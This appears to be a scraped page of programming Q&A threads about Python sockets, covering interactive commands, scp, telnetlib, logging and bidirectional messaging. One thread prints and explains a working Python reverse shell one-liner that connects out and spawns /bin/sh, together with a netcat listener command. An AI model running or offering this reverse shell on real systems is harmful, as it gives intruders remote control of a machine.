How to run interactive commands using python tcp socket? - python

Say if I wanted to run vim ./foo.txt I want to be able to edit foo.txt with my tcp socket client.
But whenever I try to do this it executes on the server but not on my client.
I do not want to use paramiko or any other ssh-like modules I want to stay using the python socket module.
I am using python 3.

I would suggest opening a command on the server (where the file is) with the subprocess module. This way to can keep putting information into it. You can have the client send a message which tells the server to send x to the subprocess.
An example would be like this:
import subprocess
# Assuming the variable x is that the socket is sending the server...
editing_foo = subprocess.Popen(['vim', './foo.txt'], stdin=PIPE) # stdin must be PIPE to communicate
editing_foo.communicate(input=x) # input is a string which is sent to the subprocess
# x could have been 'i' or ':q!' for example

Related

How does a Python reverse shell one-liner work?

Consider:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
So this is a Python reverse shell one-liner and can be found easily just by googling it. To better understanding this, let's write it in multi-line:
1# import socket,subprocess,os
2# s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
3# s.connect(("10.0.0.1",1234))
4# os.dup2(s.fileno(),0)
5# os.dup2(s.fileno(),1)
6# os.dup2(s.fileno(),2)
7# p=subprocess.call(["/bin/sh","-i"])
Most parts of this is pretty easy to understand. In the first line, we import necessary modules. In the second line we make a socket object using the IPv4 family and TCP protocol. Line Three is where we connect to our server (attacker machine) and in line 4, 5, and 6, we duplicate the socket file descriptor as 0 (standard input), 1 (standard output), and 2 (standard error) (I can be wrong here). In the end, we start the bin/sh shell in interactive mode.
This is working fine. All we need is just to change the IP address and port to connect, and in the other end (server) we need to listen for an incoming connection and it can be done easily using netcat:
nc -nlvp 1234
I just don't understand after establishing the reverse shell, how this client machine (the machine that we run the Python reverse shell one-liner on it) can send the output of commands that it received from the server. I mean, there aren’t any send() or recv() method.
I tried to write a server myself using Python, but it does not work properly and I can't receive the output of my commands.
(But here's a Python reverse shell that I have been coded, and it works fine: https://github.com/ramixix/Python_Reverse_Shell.git. I’d be happy if you check it out.)
How does it work and how can I write a server for it?

Uploading a file from an SSH server with python (alternative to PyAutoIt)

I found a small script that can select data in the explorere to upload it using PyAutoIt. The script looks like this:
autoit.win_active("Open")
sleep(2)
autoit.control_send("Open","Edit1",data_path)
sleep(1.5)
autoit.control_send("Open","Edit1","{ENTER}")
I want to do the same thing, but from my Debian GNU/Linux SSH server. The problem is that PyAutoIt only works for windows. Are there any well documented alternatives out there that I could use to preform the same actions?
You could use native python and scp
import subprocess
# Use subprocess to run 'scp' take FILE and pass it to the ssh host
subprocess.run(["scp", FILE, "USER#SERVER:PATH"])
#e.g. subprocess.run(["scp", "somefile.txt", "john#doe.org:/path/to/somefile.txt"])
Note that you have to generate an ssh key so that scp automatically gets authenticated - that way you will not be asked to provide the password.
Alternatively you could probably do (I have not tested this)
import subprocess
# Use subprocess to run 'scp' take FILE and pass it to the ssh host
subprocess.run(["scp", FILE, "USER:PASSWORD#SERVER:PATH"])
#e.g. subprocess.run(["scp", "somefile.txt", "john:secretpassword#<IPADDRESSorDNSNAME>:/path/to/somefile.txt"])

accessing router via telnet lib python

I'm working on a code that uses telnetlib of python to connect to a router and execute commands and stores the output in a file.
I'm using read_until('#') function and expecting a Router prompt, then execute the next command but my code freezes when I receive a '--More--' data from the remote telnet side. I tried using a pattern match to find '--More--' but then sometime the --More-- keyword doesn't come at once.
Any suggestion ?
Do I have to send some IAC command to the remote telnet side ?
sometime the --More-- keyword doesn't come at once
Try passing in a timeout.
Example: set timeout to 5 seconds for read_until():
read_until('--More--', 5)
Alternatively, you could use the expect() function to look for either '#' or '--More--' with a timeout:
expect(['#', '--More--'], 5)

Logging TCP socket events

Currently, I've got a tcp socket running, I was thinking on adding the capability for the server side to write to a log file, what has been sent/received/errors over the socket. My server script is running as a service on boot.
I'm wondering if its possible to do it? I've looked up the logging facilities on the python docs, but it doesn't seem to have much details on it(or I just can't understand). I hope someone could point me in the right direction.
Using the logging python class to write to a file?
If you do not want to use the logging class, you could simply open a file and write error messages to it.
Another option if on Linux is doing something like this:
How can I log the stdout of a process started by start-stop-daemon?
Tried netcat?
e.g.
netcat -l 0.0.0.0 1999 |tee /tmp/log.txt
This opens a listening TCP socket on port 1999 on your host open to the world. It then will write a copy of anything incoming to /tmp/log.txt.

Python request object return through socket

My setup is as follows:
Python 2.6 (embedded in commercial app) uses subprocess to launch an external script in (external) python 2.7.
The external script then uses the socket module to send python commands back to embedded python.
The socket is initialized with the following code:
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
And I send commands using:
self.sock.send("print ('hello, world!')")
This is working quite well at the moment. I am able to send all the commands I want, and control the program nicely.
My question: how can I request to be sent information back through the socket?
I need to ask the program to give me a list of strings, for example. But I have a hard time grasping how the embedded python would send any data back through my open socket?
Thanks!
You can always have a bidirectional socket communication.
When the external python send something, always send in a tuple where one of the arguments can specify that you are asking for something.
Let me give an example,
Setup a bidirectional socket communication (Simple client-server model- synchronous or asynchronous depends on what your project/app requires.)
2.7 sends a tuple like this -
(<command>, 1)
The 1 indicating that you want the output of the command that you sent ( which you said is working, would be sent back to 2.7.
So, when 2.6 receives the tuple, the 0th position of the tuple always represents the command it is trying to send, and the 1st position represents the send back argument.
Using a simple if-else condition, you can check if it is 1, then send back the result to 2.7 - otherwise not.
Fairly simple logic.

Categories